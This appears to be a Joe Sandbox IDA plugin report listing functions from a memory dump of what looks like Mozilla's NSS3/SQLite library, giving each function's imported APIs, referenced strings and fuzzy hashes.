Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: efa41b5768fd92dcefcf1ca7c167eef1478ad514bbfce33202683e902a8f2a34
Instruction ID: 68935e427b3725cc1cbf5321f8acc678a46a7e16ff0b22380c7e29ec8e2b72f9
Opcode Fuzzy Hash: efa41b5768fd92dcefcf1ca7c167eef1478ad514bbfce33202683e902a8f2a34
Instruction Fuzzy Hash: 8071E0B1E042058FDB04CFA5CC84AAAF7F4BF48318F148629E90997711EB76DD44CB89

Function 6C641CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C641F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C642166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C64228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6423B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C64241C

Strings

model, xrefs: 6C6423CB, 6C6423EC
serial, xrefs: 6C6422A2
token, xrefs: 6C641F2C
manufacturer, xrefs: 6C642179

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 047ec1b3868c7a60c6acef5c3a289973df49d457ef0855c8c1411e5f25fd0ade
Instruction ID: bf1396081b04ce5cf569c703a842afc9b80453f7b2f1d6f0255132e7f1db7641
Opcode Fuzzy Hash: 047ec1b3868c7a60c6acef5c3a289973df49d457ef0855c8c1411e5f25fd0ade
Instruction Fuzzy Hash: D0022DA2D0C7886EF7718671C48C3D77FE09B45328F18D66EC6DE87683C3A859898359

Function 6C580FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C57CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5DF9C9,?,6C5DF4DA,6C5DF9C9,?,?,6C5A369A), ref: 6C57CA7A
Part of subcall function 6C57CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C57CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C58103E
EnterCriticalSection.KERNEL32(?), ref: 6C581139
LeaveCriticalSection.KERNEL32(?), ref: 6C581190
sqlite3_free.NSS3(00000000), ref: 6C581227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C58126E
sqlite3_free.NSS3(?), ref: 6C58127F

Strings

winAccess, xrefs: 6C58129B
Ppl, xrefs: 6C58109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C581267

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Ppl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1015119585
Opcode ID: f818e7a41fd0e3736e0f2dcfd944868131d0a8991f76123ad5bd46f306065c90
Instruction ID: 9c58d44955823efbab1e680498766f1f3448318d553db7271e49a75e5957a9ab
Opcode Fuzzy Hash: f818e7a41fd0e3736e0f2dcfd944868131d0a8991f76123ad5bd46f306065c90
Instruction Fuzzy Hash: 40712A317062259BEB04DF25DC89A6F73B5FB86328F544639E83687A90EB30DD41C792

Function 6C646C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5F1C6F,00000000,00000004,?,?), ref: 6C646C3F

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C5F1C6F,00000000,00000004,?,?), ref: 6C646C60
PR_ExplodeTime.NSS3(00000000,6C5F1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C5F1C6F,00000000,00000004,?,?), ref: 6C646C94

Strings

gfff, xrefs: 6C646D30
gfff, xrefs: 6C646CFD
gfff, xrefs: 6C646D9C
gfff, xrefs: 6C646CF5
gfff, xrefs: 6C646D66

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 944ece138954b9b5a8ad7ace61adaa09c62b691064fa9516fccc397068bfeef6
Instruction ID: 203875daaf0ab6e7f2c1aee8f9975be2937c4837c6141082dc0d630f887319b2
Opcode Fuzzy Hash: 944ece138954b9b5a8ad7ace61adaa09c62b691064fa9516fccc397068bfeef6
Instruction Fuzzy Hash: AE513B72B016494FC71CCEADDC926DAB7DAABE4310F48C23AE442DB781D678D906C751

Function 6C6C0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6C1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C1353

Strings

'%.*q', xrefs: 6C6C1217, 6C6C1292
%02x, xrefs: 6C6C12F6
NULL, xrefs: 6C6C119E
-- , xrefs: 6C6C0FF5
$, xrefs: 6C6C12A0
zeroblob(%d), xrefs: 6C6C1223
%lld, xrefs: 6C6C114B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 8d21adec7a19f874e8c97e4d19f5d211c6c5b3fb3ec2a3e6efde94de445a7213
Instruction ID: eb8989827c2dc0924352b5db012e1ca92fa96ece7cee08a9d996368f1dafa13d
Opcode Fuzzy Hash: 8d21adec7a19f874e8c97e4d19f5d211c6c5b3fb3ec2a3e6efde94de445a7213
Instruction Fuzzy Hash: EEE18C71A083409FD710CF58C880AABBBF1EF86358F14892DE99987B51E775E885CB47

Function 6C6C8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C9209

Strings

UUUU, xrefs: 6C6C9255
3333, xrefs: 6C6C925E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 8921df6bd3d81bb04e9f79625aaa174f0e47ba00c688987dd15cf315cbdb38aa
Instruction ID: 285a16f36445682598c47b3330bdd522a72cee1fac95babf538a378d397bdf4a
Opcode Fuzzy Hash: 8921df6bd3d81bb04e9f79625aaa174f0e47ba00c688987dd15cf315cbdb38aa
Instruction Fuzzy Hash: 18A19D72F001159BDB04CB68CC84BAEB7B5FB48328F194169E909B7381E736EC51CBA5

Function 6C65BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C65BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C65BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C65BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C65BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C65BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C65BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C65BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C65BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C65BE1E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: dd15520e055126963cd9be32a133d6f03221263c9cb6d6a8a38bb61c80ec1ba4
Instruction ID: b86784d9b524b50d9c84963fe9659d53c75e71e1cd56ad61be93142000212e7a
Opcode Fuzzy Hash: dd15520e055126963cd9be32a133d6f03221263c9cb6d6a8a38bb61c80ec1ba4
Instruction Fuzzy Hash: 4C21C3B6F0028957FB004A569C43B8B72B49BD278DF9C1124F916AE641E710E43886AE

Function 6C708D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7514E4,6C6BCC70), ref: 6C708D47
PR_GetCurrentThread.NSS3 ref: 6C708D98

Part of subcall function 6C5E0F00: PR_GetPageSize.NSS3(6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000,?,6C57204A), ref: 6C5E0F1B
Part of subcall function 6C5E0F00: PR_NewLogModule.NSS3(clock,6C5E0936,FFFFE8AE,?,6C5716B7,00000000,?,6C5E0936,00000000,?,6C57204A), ref: 6C5E0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C708E7B
htons.WSOCK32(?), ref: 6C708EDB
PR_GetCurrentThread.NSS3 ref: 6C708F99
PR_GetCurrentThread.NSS3 ref: 6C70910A

Strings

%u.%u.%u.%u, xrefs: 6C708E74

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: b71905694361a5c3efd8663172bfa14ba87e9ffb9bdeb2b1635c4198482f6d3a
Instruction ID: eef8b4ecc93a0a294ecfa9c37ad1ed26167bb52ca129311ea65fe469239e7bc6
Opcode Fuzzy Hash: b71905694361a5c3efd8663172bfa14ba87e9ffb9bdeb2b1635c4198482f6d3a
Instruction Fuzzy Hash: 1902BC71B052518FDB18CF19C568766BBF2EFA2344F29826EC8919BB92C371E905C790

Function 6C6868E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C6868FC
PR_EnterMonitor.NSS3 ref: 6C686924

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07AD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07CD
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C57204A), ref: 6C5E07D6
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C57204A), ref: 6C5E07E4
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,6C57204A), ref: 6C5E0864
Part of subcall function 6C5E07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5E0880
Part of subcall function 6C5E07A0: TlsSetValue.KERNEL32(00000000,?,?,6C57204A), ref: 6C5E08CB
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08D7
Part of subcall function 6C5E07A0: TlsGetValue.KERNEL32(?,?,6C57204A), ref: 6C5E08FB

PR_EnterMonitor.NSS3 ref: 6C68693E
TlsGetValue.KERNEL32 ref: 6C686977
TlsGetValue.KERNEL32 ref: 6C6869B8
PR_ExitMonitor.NSS3 ref: 6C686B1E
PR_ExitMonitor.NSS3 ref: 6C686B39
TlsGetValue.KERNEL32 ref: 6C686B62

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 756cc74f284ddecf9aca4a2208dbfeae266b456d8c44ad13c17d6030eb06c547
Instruction ID: 599b900b5f607e2d0fb7cd9993eb5d3bd75bfec26d18e672d0f1cde66f638a38
Opcode Fuzzy Hash: 756cc74f284ddecf9aca4a2208dbfeae266b456d8c44ad13c17d6030eb06c547
Instruction Fuzzy Hash: 3D91917466A100CBDB50CF2DC58059D7BB2FB8770CB61826AC844DFB19C771D951CBAA

Function 6C58EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6C58F957, 6C58F9BA
sqlite_master, xrefs: 6C58F0AB, 6C58F2DA, 6C58F757, 6C58F93E
there is already an index named %s, xrefs: 6C58F9D7
temporary table name must be unqualified, xrefs: 6C58F734
table, xrefs: 6C58F05C, 6C58FABC, 6C58FAC7
sqlite_temp_master, xrefs: 6C58F0A6, 6C58F2D5
%s %T already exists, xrefs: 6C58FAC8
view, xrefs: 6C58F061, 6C58F071, 6C58FAB7
authorizer malfunction, xrefs: 6C58F95C, 6C58F9BF, 6C58FA5E, 6C58FA8B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 40ccc3bc61c63a8ad1e71de383beafe929dd7d7813a4c603125a3c3860cceced
Instruction ID: decf017e983f8939c67a541b79969e35b5925b3898e75a99c448066ae8638b10
Opcode Fuzzy Hash: 40ccc3bc61c63a8ad1e71de383beafe929dd7d7813a4c603125a3c3860cceced
Instruction Fuzzy Hash: BA729070E05225CFDB14CF69C884BAABBF1BF8D308F1482A9D8159B752D775E846CB90

Function 6C6A9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C57C52B), ref: 6C6A9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6AA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AA01F, 6C6AA0E4, 6C6AA0FE
%s at line %d of [%.10s], xrefs: 6C6AA02E, 6C6AA10D
database corruption, xrefs: 6C6AA029, 6C6AA108

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 684a27f6e91da9302ffb54daccb3318541e766d45e48e8a53f78110da1d793c9
Instruction ID: 55431fdbb93b2a5227360bdc149ad94100407f76dd62197f1ac44b6fb73de1df
Opcode Fuzzy Hash: 684a27f6e91da9302ffb54daccb3318541e766d45e48e8a53f78110da1d793c9
Instruction Fuzzy Hash: 6F22B07060C7419FC704CFA9C49066AB7E1BFCA348F148A2EE5DA97642D735DC46CB4A

Function 6C6C9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C588637,?,?), ref: 6C6C9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C588637), ref: 6C6C9ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C9EC0
%s at line %d of [%.10s], xrefs: 6C6C9ECF
database corruption, xrefs: 6C6C9ECA

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 4d0b020f232c57608fb949d00b7159ec310981c6a63bd8e3dec77ec92a321019
Instruction ID: 7a4434ec42c421d281d85ac4612a2e098724560c7f9d8959dae12b3f836a7609
Opcode Fuzzy Hash: 4d0b020f232c57608fb949d00b7159ec310981c6a63bd8e3dec77ec92a321019
Instruction Fuzzy Hash: 53818F31B012198FCB04CF6AC980ADEB3F6EF8D30CB148569E919AB641E731ED45CB56

Function 6C5D0820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C5D11D2

Strings

not authorized, xrefs: 6C5D175E, 6C5D1763
@, xrefs: 6C5D0B17
rows deleted, xrefs: 6C5D17D2
authorizer malfunction, xrefs: 6C5D1BD2

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: cfaddb66116d8fd19747b156d21ebc399a5ea3d57cb2e65b450a083c8f7b594f
Instruction ID: 9aed2710da3d63d01ac867336b6267ad3bbbed49e57c56630e75ef4bef8f2f44
Opcode Fuzzy Hash: cfaddb66116d8fd19747b156d21ebc399a5ea3d57cb2e65b450a083c8f7b594f
Instruction Fuzzy Hash: A5D27A70E04349CFDB14CFA9C880B9EBBB1BF89318F25825AD415ABB51D771B856CB84

Function 6C6D7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6D81BC

Strings

BINARY, xrefs: 6C6D8126
out of memory, xrefs: 6C6D835B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

